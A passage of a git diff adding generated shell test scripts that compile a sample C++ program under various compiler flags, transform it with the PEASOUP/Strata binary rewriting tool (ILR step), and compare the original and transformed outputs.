+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..76ee91f0c68815898fdc93870e6c0404f0925236
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8ad6036e73b2eba935ba48b0cf861c1f0469a6f4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..90cc4d0f45b96eaa613b49903ef09af17d0b5666
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e35488d437b0a3bf47845ad7dfdda497fa2464f9
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e3b34b20feda4c4a74166dd7c9d02377bd1259ce
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..180e1f84eca4ecbb004e61fd88322f1dee08d1ac
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
